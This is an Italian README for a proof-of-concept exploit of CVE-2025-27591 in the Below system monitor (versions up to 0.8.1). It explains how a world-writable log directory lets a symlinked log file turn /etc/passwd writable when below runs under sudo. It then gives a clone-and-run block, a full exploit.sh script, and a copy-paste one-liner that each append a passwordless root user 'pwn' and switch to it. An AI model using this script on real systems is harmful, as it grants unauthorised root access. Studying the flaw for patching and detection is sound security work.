Below - Escalata dei Privilegi Locali (CVE-2025-27591)

Below <= v0.8.1
Escalata dei Privilegi Locali tramite Symlink di Log World-Writable
Exploit PoC

Introduzione

Le versioni di Below <= 0.8.1 contengono una vulnerabilità critica di escalation dei privilegi locali (CVE-2025-27591).
A causa di una directory log world-writable (/var/log/below/) configurata in modo errato e di una logica di permessi insicura nel codice Rust, un attaccante locale può creare un symlink error_<user>.log verso qualsiasi file di proprietà di root come /etc/passwd.

Quando below snapshot viene eseguito con sudo, imposta forzatamente la modalità 0666 sul file di log e vi scrive—anche se è un symlink.
Ciò consente l'iniezione di un utente con privilegi root senza password, portando all'accesso completo alla shell di root.

Utilizzo

git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh

OPPURE

Codice Exploit

# Title  : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage  : usage: ./exploit.sh


u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry  to /etc/passwd (now writable)
su pwn

Nota: Aggiunto exploit.sh al README.md dopo che IppSec ha usato il one-liner invece di exploit.sh nella sua guida. Ho pensato che sarebbe più facile per tutti. Grazie IppSec. ^^

OPPURE

One-liner - (Copia, incolla ed esegui)

u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn

Ambiente

• Below <= v0.8.1
• Linux gestito da Systemd (Ubuntu, Arch, Fedora, ecc.)
• Utente nel gruppo sudo con accesso NOPASSWD a /usr/bin/below *

Crediti

Scoperto e segnalato da Matthias Gerstner @ SUSE - Avviso di sicurezza
Exploit PoC - Ravindu Wickramasinhge alias rvz